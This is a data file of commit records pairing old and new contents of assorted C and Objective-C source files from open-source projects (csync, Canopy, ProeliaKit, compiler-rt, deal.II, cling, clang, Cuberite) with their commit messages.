{"commit":"8fe1cb54b5382dedb5e1c86f483e6b3aea3bb958","old_file":"src\/std\/c_lib.h","new_file":"src\/std\/c_lib.h","old_contents":"\/*\n * cynapses libc functions\n *\n * Copyright (c) 2008      by Andreas Schneider <mail@cynapses.org>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n *\n * vim: ts=2 sw=2 et cindent\n *\/\n\n#include \"c_macro.h\"\n#include \"c_alloc.h\"\n#include \"c_dir.h\"\n#include \"c_file.h\"\n#include \"c_path.h\"\n#include \"c_rbtree.h\"\n#include \"c_string.h\"\n#include \"c_time.h\"\n","new_contents":"\/*\n * cynapses libc functions\n *\n * Copyright (c) 2008      by Andreas Schneider <mail@cynapses.org>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n *\n * vim: ts=2 sw=2 et cindent\n *\/\n\n#include \"c_macro.h\"\n#include \"c_alloc.h\"\n#include \"c_dir.h\"\n#include \"c_file.h\"\n#include \"c_list.h\"\n#include \"c_path.h\"\n#include \"c_rbtree.h\"\n#include \"c_string.h\"\n#include \"c_time.h\"\n","subject":"Add c_list to standard lib header file.","message":"Add c_list to standard lib header file.\n","lang":"C","license":"lgpl-2.1","repos":"meeh420\/csync,gco\/csync,meeh420\/csync,gco\/csync,gco\/csync,meeh420\/csync,gco\/csync"}
{"commit":"7f93f8bab3f1e8e1b4360d63a812dfbb9ec80bc2","old_file":"examples\/post_sample\/example_post_sample.c","new_file":"examples\/post_sample\/example_post_sample.c","old_contents":"\/*\n * Copyright 2014 SimpleThings, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <canopy.h>\n\nint main(void) \n{\n    canopy_post_sample(\n        CANOPY_CLOUD_SERVER, \"dev02.canopy.link\",\n        CANOPY_DEVICE_UUID, \"9dfe2a00-efe2-45f9-a84c-8afc69caf4e7\",\n        CANOPY_PROPERTY_NAME, \"cpu\",\n        CANOPY_VALUE_FLOAT32, 0.22f\n    );\n    return 0;\n}\n","new_contents":"\/*\n * Copyright 2014 SimpleThings, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <canopy.h>\n\nint main(void) \n{\n    \/\/ Your code here for determining sensor value...\n    float temperature = 24.0f;\n\n    \/\/ Send sample to the cloud:\n    canopy_post_sample(\n        CANOPY_CLOUD_SERVER, \"dev02.canopy.link\",\n        CANOPY_DEVICE_UUID, \"9dfe2a00-efe2-45f9-a84c-8afc69caf4e7\",\n        CANOPY_PROPERTY_NAME, \"temperature\",\n        CANOPY_VALUE_FLOAT32, temperature\n    );\n    return 0;\n}\n","subject":"Make sample app a little more clear","message":"Make sample app a little more clear\n","lang":"C","license":"apache-2.0","repos":"canopy-project\/canopy-embedded,canopy-project\/canopy-embedded,canopy-project\/canopy-embedded"}
{"commit":"11acdd53ab086a9622074f79ef1535c1448cbb91","old_file":"Shared\/Encounter.h","new_file":"Shared\/Encounter.h","old_contents":"\/\/\n\/\/  Encounter.h\n\/\/  ProeliaKit\n\/\/\n\/\/  Created by Paul Schifferer on 3\/5\/15.\n\/\/  Copyright (c) 2015 Pilgrimage Software. All rights reserved.\n\/\/\n\n@import Foundation;\n#import \"EncounterConstants.h\"\n#import \"GameSystem.h\"\n#import \"AbstractEncounter.h\"\n\n\n@class EncounterMap;\n@class EncounterParticipant;\n@class EncounterRegion;\n@class EncounterTimelineEntry;\n\n\/**\n * An instance of this class represents an encounter created from a template that is being run.\n *\/\n@interface Encounter : AbstractEncounter\n\n\/\/ -- Attributes --\n\n\/**\n *\n *\/\n@property (nonatomic, assign) NSInteger currentRound;\n\/**\n *\n *\/\n@property (nonatomic, assign) NSTimeInterval endDate;\n\/**\n *\n *\/\n@property (nonatomic, assign) NSInteger numberOfRounds;\n\/**\n *\n *\/\n@property (nonatomic, assign) NSInteger numberOfTurns;\n\/**\n *\n *\/\n@property (nonatomic, copy) NSString *encounterTemplateName;\n\/**\n *\n *\/\n@property (nonatomic, assign) NSTimeInterval startDate;\n\/**\n *\n *\/\n@property (nonatomic, assign) EncounterState state;\n\/**\n *\n *\/\n@property (nonatomic, copy) NSData *turnQueue;\n\n\/\/ -- Relationships --\n\n@end\n","new_contents":"\/\/\n\/\/  Encounter.h\n\/\/  ProeliaKit\n\/\/\n\/\/  Created by Paul Schifferer on 3\/5\/15.\n\/\/  Copyright (c) 2015 Pilgrimage Software. All rights reserved.\n\/\/\n\n@import Foundation;\n#import \"EncounterConstants.h\"\n#import \"GameSystem.h\"\n#import \"AbstractEncounter.h\"\n\n\n@class EncounterMap;\n@class EncounterParticipant;\n@class EncounterRegion;\n@class EncounterTimelineEntry;\n\n\/**\n * An instance of this class represents an encounter created from a template that is being run.\n *\/\n@interface Encounter : AbstractEncounter\n\n\/\/ -- Attributes --\n\n\/**\n *\n *\/\n@property (nonatomic, assign) NSInteger currentRound;\n\/**\n *\n *\/\n@property (nonatomic, assign) NSTimeInterval endDate;\n\/**\n *\n *\/\n@property (nonatomic, assign) NSInteger numberOfRounds;\n\/**\n *\n *\/\n@property (nonatomic, assign) NSInteger numberOfTurns;\n\/**\n *\n *\/\n@property (nonatomic, copy) NSString *encounterTemplateName;\n\/**\n *\n *\/\n@property (nonatomic, assign) NSTimeInterval startDate;\n\/**\n *\n *\/\n@property (nonatomic, assign) EncounterState state;\n\/**\n *\n *\/\n@property (nonatomic, copy) NSData *turnQueue;\n\n\/\/ -- Relationships --\n\n\/**\n *\/\n@property (nonatomic, copy) NSString* templateId;\n\n@end\n","subject":"Store ID for source template.","message":"Store ID for source template.\n","lang":"C","license":"mit","repos":"pilgrimagesoftware\/ProeliaKit,pilgrimagesoftware\/ProeliaKit"}
{"commit":"1bf764c914d503e87c909439f0bd43bb72e93580","old_file":"LinkedList\/insert_node_at_tail.c","new_file":"LinkedList\/insert_node_at_tail.c","old_contents":"","new_contents":"\/*\nInput Format \nYou have to complete the Node* Insert(Node* head, int data) method which takes two arguments - the head of the linked list and the integer to insert. You should NOT read any input from stdin\/console.\n\nOutput Format \nInsert the new node at the tail and just return the head of the updated linked list. Do NOT print anything to stdout\/console.\n\nSample Input\n\nNULL, data = 2 \n2 --> NULL, data = 3\n\nSample Output\n\n2 -->NULL\n2 --> 3 --> NULL\nExplanation \n1. We have an empty list and we insert 2. \n2. We have 2 in the tail, when 3 is inserted 3 becomes the tail.\n*\/\n\n\/*\n  Insert Node at the end of a linked list \n  head pointer input could be NULL as well for empty list\n  Node is defined as \n  struct Node\n  {\n     int data;\n     struct Node *next;\n  }\n*\/\nNode* Insert(Node *head,int data)\n{\n    Node* temp; \n    temp =(Node*) malloc(sizeof(Node));\n    temp->data = data;\n    temp->next = NULL;\n    \n    Node* head_temp=head;\n    \n    if(head ==NULL){\n       head = temp;\n    }\n    else {\n        while(head_temp->next!=NULL){\n            head_temp = head_temp->next;\n        }\n        head_temp->next = temp;\n    }\n    return head;\n}\n","subject":"Add insert node at tail fn","message":"Add insert node at tail fn\n","lang":"C","license":"mit","repos":"anaghajoshi\/HackerRank"}
{"commit":"f9dd70c4988603f97de3b3b9a3ee7cb578bff699","old_file":"test\/ubsan_minimal\/TestCases\/test-darwin-interface.c","new_file":"test\/ubsan_minimal\/TestCases\/test-darwin-interface.c","old_contents":"","new_contents":"\/\/ Check that the ubsan and ubsan-minimal runtimes have the same symbols,\n\/\/ making exceptions as necessary.\n\/\/\n\/\/ REQUIRES: x86_64-darwin\n\n\/\/ RUN: nm -jgU `%clangxx -fsanitize-minimal-runtime -fsanitize=undefined %s -o %t '-###' 2>&1 | grep \"libclang_rt.ubsan_minimal_osx_dynamic.dylib\" | sed -e 's\/.*\"\\(.*libclang_rt.ubsan_minimal_osx_dynamic.dylib\\)\".*\/\\1\/'` | grep \"^___ubsan_handle\" \\\n\/\/ RUN:  | sed 's\/_minimal\/\/g' \\\n\/\/ RUN:  > %t.minimal.symlist\n\/\/\n\/\/ RUN: nm -jgU `%clangxx -fno-sanitize-minimal-runtime -fsanitize=undefined %s -o %t '-###' 2>&1 | grep \"libclang_rt.ubsan_osx_dynamic.dylib\" | sed -e 's\/.*\"\\(.*libclang_rt.ubsan_osx_dynamic.dylib\\)\".*\/\\1\/'` | grep \"^___ubsan_handle\" \\\n\/\/ RUN:  | grep -vE \"^___ubsan_handle_dynamic_type_cache_miss\" \\\n\/\/ RUN:  | grep -vE \"^___ubsan_handle_cfi_bad_type\" \\\n\/\/ RUN:  | sed 's\/_v1\/\/g' \\\n\/\/ RUN:  > %t.full.symlist\n\/\/\n\/\/ RUN: diff %t.minimal.symlist %t.full.symlist\n","subject":"Test exported symbol set against RTUBsan","message":"[ubsan-minimal] Test exported symbol set against RTUBsan\n\nCheck that the symbol sets exported by the minimal runtime and the full\nruntime match (making exceptions for special cases as needed).\n\nThis test uses some possibly non-standard nm options, and needs to\ninspect the symbols in runtime dylibs. I haven't found a portable way to\ndo this, so it's limited to x86-64\/Darwin for now.\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@313615 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"aaaf165b247a1a8ea5cd2936d9fd1eefe5e580f9","old_file":"arch\/arm\/mach-kirkwood\/board-iomega_ix2_200.c","new_file":"arch\/arm\/mach-kirkwood\/board-iomega_ix2_200.c","old_contents":"\/*\n * arch\/arm\/mach-kirkwood\/board-iomega_ix2_200.c\n *\n * Iomega StorCenter ix2-200\n *\n * This file is licensed under the terms of the GNU General Public\n * License version 2.  This program is licensed \"as is\" without any\n * warranty of any kind, whether express or implied.\n *\/\n\n#include <linux\/kernel.h>\n#include <linux\/init.h>\n#include <linux\/mv643xx_eth.h>\n#include <linux\/ethtool.h>\n#include \"common.h\"\n\nstatic struct mv643xx_eth_platform_data iomega_ix2_200_ge00_data = {\n\t.phy_addr       = MV643XX_ETH_PHY_NONE,\n\t.speed          = SPEED_1000,\n\t.duplex         = DUPLEX_FULL,\n};\n\nvoid __init iomega_ix2_200_init(void)\n{\n\t\/*\n\t * Basic setup. Needs to be called early.\n\t *\/\n\tkirkwood_ge01_init(&iomega_ix2_200_ge00_data);\n}\n","new_contents":"\/*\n * arch\/arm\/mach-kirkwood\/board-iomega_ix2_200.c\n *\n * Iomega StorCenter ix2-200\n *\n * This file is licensed under the terms of the GNU General Public\n * License version 2.  This program is licensed \"as is\" without any\n * warranty of any kind, whether express or implied.\n *\/\n\n#include <linux\/kernel.h>\n#include <linux\/init.h>\n#include <linux\/mv643xx_eth.h>\n#include <linux\/ethtool.h>\n#include \"common.h\"\n\nstatic struct mv643xx_eth_platform_data iomega_ix2_200_ge00_data = {\n\t.phy_addr       = MV643XX_ETH_PHY_NONE,\n\t.speed          = SPEED_1000,\n\t.duplex         = DUPLEX_FULL,\n};\n\nstatic struct mv643xx_eth_platform_data iomega_ix2_200_ge01_data = {\n        .phy_addr       = MV643XX_ETH_PHY_ADDR(11),\n};\n\nvoid __init iomega_ix2_200_init(void)\n{\n\t\/*\n\t * Basic setup. Needs to be called early.\n\t *\/\n\tkirkwood_ge00_init(&iomega_ix2_200_ge00_data);\n\tkirkwood_ge01_init(&iomega_ix2_200_ge01_data);\n}\n","subject":"Fix GE0\/GE1 init on ix2-200 as GE0 has no PHY","message":"Fix GE0\/GE1 init on ix2-200 as GE0 has no PHY\n\nSigned-off-by: Jason Cooper <68c46a606457643eab92053c1c05574abb26f861@lakedaemon.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"4cff24f6e6f727ddaa072825a508b801b116c8a8","old_file":"deal.II\/doc\/doxygen\/headers\/constraints.h","new_file":"deal.II\/doc\/doxygen\/headers\/constraints.h","old_contents":"","new_contents":"\/\/-------------------------------------------------------------------------\n\/\/    $Id$\n\/\/    Version: $Name$\n\/\/\n\/\/    Copyright (C) 2010 by the deal.II authors\n\/\/\n\/\/    This file is subject to QPL and may not be  distributed\n\/\/    without copyright and license information. Please refer\n\/\/    to the file deal.II\/doc\/license.html for the  text  and\n\/\/    further information on this license.\n\/\/\n\/\/-------------------------------------------------------------------------\n\n\/**\n * @defgroup constraints Constraints on degrees of freedom\n * @ingroup dofs\n *\n * This module deals with constraints on degrees of\n * freedom. Constraints typically come from several sources, for\n * example:\n * - If you have Dirichlet-type boundary conditions, one usually enforces\n *   them by requiring that that degrees of freedom on the boundary have\n *   particular values, for example $x_12=42$ if the boundary condition\n *   requires that the finite element solution at the location of degree\n *   of freedom 12 has the value 42.\n *\n * This class implements dealing with linear (possibly inhomogeneous)\n * constraints on degrees of freedom. In particular, it handles constraints of\n * the form $x_{i_1} = \\sum_{j=2}^M a_{i_j} x_{i_j} + b_i$. In the context of\n * adaptive finite elements, such constraints appear most frequently as\n * \"hanging nodes\" and for implementing Dirichlet boundary conditions in\n * strong form. The class is meant to deal with a limited number of\n * constraints relative to the total number of degrees of freedom, for example\n * a few per cent up to maybe 30 per cent; and with a linear combination of\n * $M$ other degrees of freedom where $M$ is also relatively small (no larger\n * than at most around the average number of entries per row of a linear\n * system). It is <em>not<\/em> meant to describe full rank linear systems.\n *\/\n","subject":"Add provisional version, to be finished at home later today.","message":"Add provisional version, to be finished at home later today.\n\n\ngit-svn-id: 31d9d2f6432a47c86a3640814024c107794ea77c@22003 0785d39b-7218-0410-832d-ea1e28bc413d\n","lang":"C","license":"lgpl-2.1","repos":"YongYang86\/dealii,gpitton\/dealii,Arezou-gh\/dealii,sriharisundar\/dealii,ESeNonFossiIo\/dealii,mac-a\/dealii,natashasharma\/dealii,JaeryunYim\/dealii,sriharisundar\/dealii,lpolster\/dealii,andreamola\/dealii,kalj\/dealii,shakirbsm\/dealii,mtezzele\/dealii,naliboff\/dealii,angelrca\/dealii,flow123d\/dealii,maieneuro\/dealii,gpitton\/dealii,maieneuro\/dealii,lue\/dealii,ESeNonFossiIo\/dealii,johntfoster\/dealii,kalj\/dealii,lpolster\/dealii,danshapero\/dealii,rrgrove6\/dealii,angelrca\/dealii,mac-a\/dealii,JaeryunYim\/dealii,kalj\/dealii,johntfoster\/dealii,shakirbsm\/dealii,pesser\/dealii,lue\/dealii,YongYang86\/dealii,kalj\/dealii,nicolacavallini\/dealii,nicolacavallini\/dealii,jperryhouts\/dealii,JaeryunYim\/dealii,Arezou-gh\/dealii,naliboff\/dealii,sairajat\/dealii,angelrca\/dealii,lue\/dealii,andreamola\/dealii,naliboff\/dealii,flow123d\/dealii,mac-a\/dealii,naliboff\/dealii,ibkim11\/dealii,YongYang86\/dealii,kalj\/dealii,lue\/dealii,flow123d\/dealii,ibkim11\/dealii,natashasharma\/dealii,ibkim11\/dealii,sriharisundar\/dealii,naliboff\/dealii,lpolster\/dealii,lue\/dealii,lpolster\/dealii,sairajat\/dealii,danshapero\/dealii,danshapero\/dealii,sairajat\/dealii,mtezzele\/dealii,msteigemann\/dealii,natashasharma\/dealii,nicolacavallini\/dealii,jperryhouts\/dealii,angelrca\/dealii,naliboff\/dealii,sriharisundar\/dealii,mac-a\/dealii,adamkosik\/dealii,sairajat\/dealii,msteigemann\/dealii,lpolster\/dealii,nicolacavallini\/dealii,sairajat\/dealii,andreamola\/dealii,angelrca\/dealii,pesser\/dealii,JaeryunYim\/dealii,spco\/dealii,danshapero\/dealii,johntfoster\/dealii,lpolster\/dealii,msteigemann\/dealii,pesser\/dealii,gpitton\/dealii,mtezzele\/dealii,maieneuro\/dealii,jperryhouts\/dealii,EGP-CIG-REU\/dealii,adamkosik\/dealii,johntfoster\/dealii,msteigemann\/dealii,rrgrove6\/dealii,EGP-CIG-REU\/dealii,ESeNonFossiIo\/dealii,Arezou-gh\/dealii,msteigemann\/dealii,spco\/dealii,andreamola\/dealii,kalj\/dealii,gpitton\/dealii,adamkosik\/dealii,maieneuro\/dealii,EGP-CIG-REU\/dealii,YongYang86\/dealii,sairajat\/dealii,flow123d\/dealii,johntfoster\/dealii,JaeryunYim\/dealii,angelrca\/dealii,ibkim11\/dealii,gpitton\/dealii,gpitton\/dealii,andreamola\/dealii,JaeryunYim\/dealii,angelrca\/dealii,maieneuro\/dealii,Arezou-gh\/dealii,sriharisundar\/dealii,ibkim11\/dealii,natashasharma\/dealii,EGP-CIG-REU\/dealii,danshapero\/dealii,danshapero\/dealii,maieneuro\/dealii,spco\/dealii,flow123d\/dealii,adamkosik\/dealii,nicolacavallini\/dealii,rrgrove6\/dealii,YongYang86\/dealii,sriharisundar\/dealii,nicolacavallini\/dealii,sairajat\/dealii,JaeryunYim\/dealii,shakirbsm\/dealii,andreamola\/dealii,mac-a\/dealii,lpolster\/dealii,rrgrove6\/dealii,jperryhouts\/dealii,shakirbsm\/dealii,spco\/dealii,jperryhouts\/dealii,spco\/dealii,Arezou-gh\/dealii,lue\/dealii,shakirbsm\/dealii,kalj\/dealii,flow123d\/dealii,natashasharma\/dealii,jperryhouts\/dealii,ESeNonFossiIo\/dealii,mtezzele\/dealii,adamkosik\/dealii,natashasharma\/dealii,rrgrove6\/dealii,pesser\/dealii,johntfoster\/dealii,flow123d\/dealii,pesser\/dealii,mtezzele\/dealii,jperryhouts\/dealii,pesser\/dealii,johntfoster\/dealii,nicolacavallini\/dealii,rrgrove6\/dealii,YongYang86\/dealii,ESeNonFossiIo\/dealii,natashasharma\/dealii,sriharisundar\/dealii,ibkim11\/dealii,Arezou-gh\/dealii,mtezzele\/dealii,adamkosik\/dealii,EGP-CIG-REU\/dealii,maieneuro\/dealii,danshapero\/dealii,gpitton\/dealii,adamkosik\/dealii,EGP-CIG-REU\/dealii,msteigemann\/dealii,pesser\/dealii,ESeNonFossiIo\/dealii,naliboff\/dealii,spco\/dealii,andreamola\/dealii,ESeNonFossiIo\/dealii,mac-a\/dealii,EGP-CIG-REU\/dealii,rrgrove6\/dealii,mtezzele\/dealii,Arezou-gh\/dealii,spco\/dealii,lue\/dealii,shakirbsm\/dealii,msteigemann\/dealii,mac-a\/dealii,ibkim11\/dealii,YongYang86\/dealii,shakirbsm\/dealii"}
{"commit":"8ae331ba0b6f64564519e9e5618ec035bb54038f","old_file":"interpreter\/cling\/lib\/MetaProcessor\/Display.h","new_file":"interpreter\/cling\/lib\/MetaProcessor\/Display.h","old_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Timur Pocheptsov <Timur.Pocheptsov@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_DISPLAY_H\n#define CLING_DISPLAY_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n}\n\nnamespace cling {\n\nvoid DisplayClasses(llvm::raw_ostream &stream,\n                    const class Interpreter *interpreter, bool verbose);\nvoid DisplayClass(llvm::raw_ostream &stream, \n                  const Interpreter *interpreter, const char *className, \n                  bool verbose);\n\nvoid DisplayGlobals(llvm::raw_ostream &stream, const Interpreter *interpreter);\nvoid DisplayGlobal(llvm::raw_ostream &stream, const Interpreter *interpreter, \n                   const std::string &name);\n\n}\n\n#endif\n","new_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Timur Pocheptsov <Timur.Pocheptsov@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_DISPLAY_H\n#define CLING_DISPLAY_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n}\n\nnamespace cling {\nclass Interpreter;\n\nvoid DisplayClasses(llvm::raw_ostream &stream,\n                    const Interpreter *interpreter, bool verbose);\nvoid DisplayClass(llvm::raw_ostream &stream, \n                  const Interpreter *interpreter, const char *className, \n                  bool verbose);\n\nvoid DisplayGlobals(llvm::raw_ostream &stream, const Interpreter *interpreter);\nvoid DisplayGlobal(llvm::raw_ostream &stream, const Interpreter *interpreter, \n                   const std::string &name);\n\n}\n\n#endif\n","subject":"Fix fwd decl for windows.","message":"Fix fwd decl for windows.\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@47814 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT"}
{"commit":"2dbf07d095e6ffbeef50942a9c9f3241f71d5fb8","old_file":"lib\/StaticAnalyzer\/Checkers\/ClangSACheckers.h","new_file":"lib\/StaticAnalyzer\/Checkers\/ClangSACheckers.h","old_contents":"\/\/===--- ClangSACheckers.h - Registration functions for Checkers *- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Declares the registation functions for the checkers defined in\n\/\/ libclangStaticAnalyzerCheckers.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_SA_LIB_CHECKERS_CLANGSACHECKERS_H\n#define LLVM_CLANG_SA_LIB_CHECKERS_CLANGSACHECKERS_H\n\nnamespace clang {\n\nnamespace ento {\nclass ExprEngine;\n\n#define GET_CHECKERS\n#define CHECKER(FULLNAME,CLASS,CXXFILE,HELPTEXT,HIDDEN)    \\\n  void register##CLASS(ExprEngine &Eng);\n#include \"Checkers.inc\"\n#undef CHECKER\n#undef GET_CHECKERS\n\n} \/\/ end ento namespace\n\n} \/\/ end clang namespace\n\n#endif\n","new_contents":"\/\/===--- ClangSACheckers.h - Registration functions for Checkers *- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Declares the registation functions for the checkers defined in\n\/\/ libclangStaticAnalyzerCheckers.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_SA_LIB_CHECKERS_CLANGSACHECKERS_H\n#define LLVM_CLANG_SA_LIB_CHECKERS_CLANGSACHECKERS_H\n\nnamespace clang {\n\nnamespace ento {\nclass ExprEngine;\n\n#define GET_CHECKERS\n#define CHECKER(FULLNAME,CLASS,CXXFILE,HELPTEXT,HIDDEN)    \\\n  void register##CLASS(ExprEngine &Eng);\n#include \"..\/Checkers\/Checkers.inc\"\n#undef CHECKER\n#undef GET_CHECKERS\n\n} \/\/ end ento namespace\n\n} \/\/ end clang namespace\n\n#endif\n","subject":"Revert r125642. This broke the build? It should be a no-op.","message":"Revert r125642. This broke the build? It should be a no-op.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@125645 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"ee1ba3e0b094ce80965eb2f1dd599fca6ff6736c","old_file":"src\/Blocks\/BlockTNT.h","new_file":"src\/Blocks\/BlockTNT.h","old_contents":"\n#pragma once\n\n#include \"BlockHandler.h\"\n\n\n\n\n\nclass cBlockTNTHandler :\n\tpublic cBlockHandler\n{\npublic:\n\tcBlockTNTHandler(BLOCKTYPE a_BlockType)\n\t\t: cBlockHandler(a_BlockType)\n\t{\n\t}\n\n\tvirtual const char * GetStepSound(void) override\n\t{\n\t\treturn \"step.wood\";\n\t}\n\n\tvirtual void OnCancelRightClick(cChunkInterface & a_ChunkInterface, cWorldInterface & a_WorldInterface, cPlayer * a_Player, int a_BlockX, int a_BlockY, int a_BlockZ, eBlockFace a_BlockFace) override\n\t{\n\t\ta_Player->GetWorld()->SendBlockTo(a_BlockX, a_BlockY, a_BlockZ, a_Player);\n\t}\n};\n\n\n\n\n","new_contents":"\n#pragma once\n\n#include \"BlockHandler.h\"\n\n\n\n\n\nclass cBlockTNTHandler :\n\tpublic cBlockHandler\n{\npublic:\n\tcBlockTNTHandler(BLOCKTYPE a_BlockType)\n\t\t: cBlockHandler(a_BlockType)\n\t{\n\t}\n\n\tvirtual const char * GetStepSound(void) override\n\t{\n\t\treturn \"step.grass\";\n\t}\n\n\tvirtual void OnCancelRightClick(cChunkInterface & a_ChunkInterface, cWorldInterface & a_WorldInterface, cPlayer * a_Player, int a_BlockX, int a_BlockY, int a_BlockZ, eBlockFace a_BlockFace) override\n\t{\n\t\ta_Player->GetWorld()->SendBlockTo(a_BlockX, a_BlockY, a_BlockZ, a_Player);\n\t}\n};\n\n\n\n\n","subject":"Set tnt step sound to step.grass","message":"Set tnt step sound to step.grass","lang":"C","license":"apache-2.0","repos":"ionux\/MCServer,Fighter19\/cuberite,birkett\/MCServer,birkett\/MCServer,Frownigami1\/cuberite,guijun\/MCServer,Howaner\/MCServer,mmdk95\/cuberite,MuhammadWang\/MCServer,nichwall\/cuberite,MuhammadWang\/MCServer,jammet\/MCServer,Frownigami1\/cuberite,mmdk95\/cuberite,zackp30\/cuberite,jammet\/MCServer,tonibm19\/cuberite,marvinkopf\/cuberite,nevercast\/cuberite,mc-server\/MCServer,tonibm19\/cuberite,Fighter19\/cuberite,QUSpilPrgm\/cuberite,Howaner\/MCServer,mjssw\/cuberite,kevinr\/cuberite,Altenius\/cuberite,linnemannr\/MCServer,thetaeo\/cuberite,birkett\/MCServer,zackp30\/cuberite,mc-server\/MCServer,MuhammadWang\/MCServer,marvinkopf\/cuberite,Haxi52\/cuberite,johnsoch\/cuberite,MuhammadWang\/MCServer,Schwertspize\/cuberite,Tri125\/MCServer,SamOatesPlugins\/cuberite,birkett\/cuberite,thetaeo\/cuberite,nounoursheureux\/MCServer,birkett\/cuberite,Tri125\/MCServer,Fighter19\/cuberite,mjssw\/cuberite,Schwertspize\/cuberite,guijun\/MCServer,HelenaKitty\/EbooMC,QUSpilPrgm\/cuberite,linnemannr\/MCServer,electromatter\/cuberite,jammet\/MCServer,SamOatesPlugins\/cuberite,HelenaKitty\/EbooMC,nicodinh\/cuberite,nounoursheureux\/MCServer,electromatter\/cuberite,nicodinh\/cuberite,marvinkopf\/cuberite,birkett\/cuberite,nicodinh\/cuberite,mjssw\/cuberite,thetaeo\/cuberite,nounoursheureux\/MCServer,nichwall\/cuberite,guijun\/MCServer,bendl\/cuberite,electromatter\/cuberite,johnsoch\/cuberite,mjssw\/cuberite,zackp30\/cuberite,Howaner\/MCServer,Haxi52\/cuberite,bendl\/cuberite,Frownigami1\/cuberite,nevercast\/cuberite,Schwertspize\/cuberite,mmdk95\/cuberite,Altenius\/cuberite,Tri125\/MCServer,nichwall\/cuberite,Schwertspize\/cuberite,zackp30\/cuberite,linnemannr\/MCServer,Frownigami1\/cuberite,birkett\/MCServer,birkett\/MCServer,Tri125\/MCServer,electromatter\/cuberite,Haxi52\/cuberite,kevinr\/cuberite,Altenius\/cuberite,zackp30\/cuberite,mc-server\/MCServer,linnemannr\/MCServer,bendl\/cuberite,birkett\/MCServer,HelenaKitty\/EbooMC,nevercast\/cuberite,johnsoch\/cuberite,marvinkopf\/c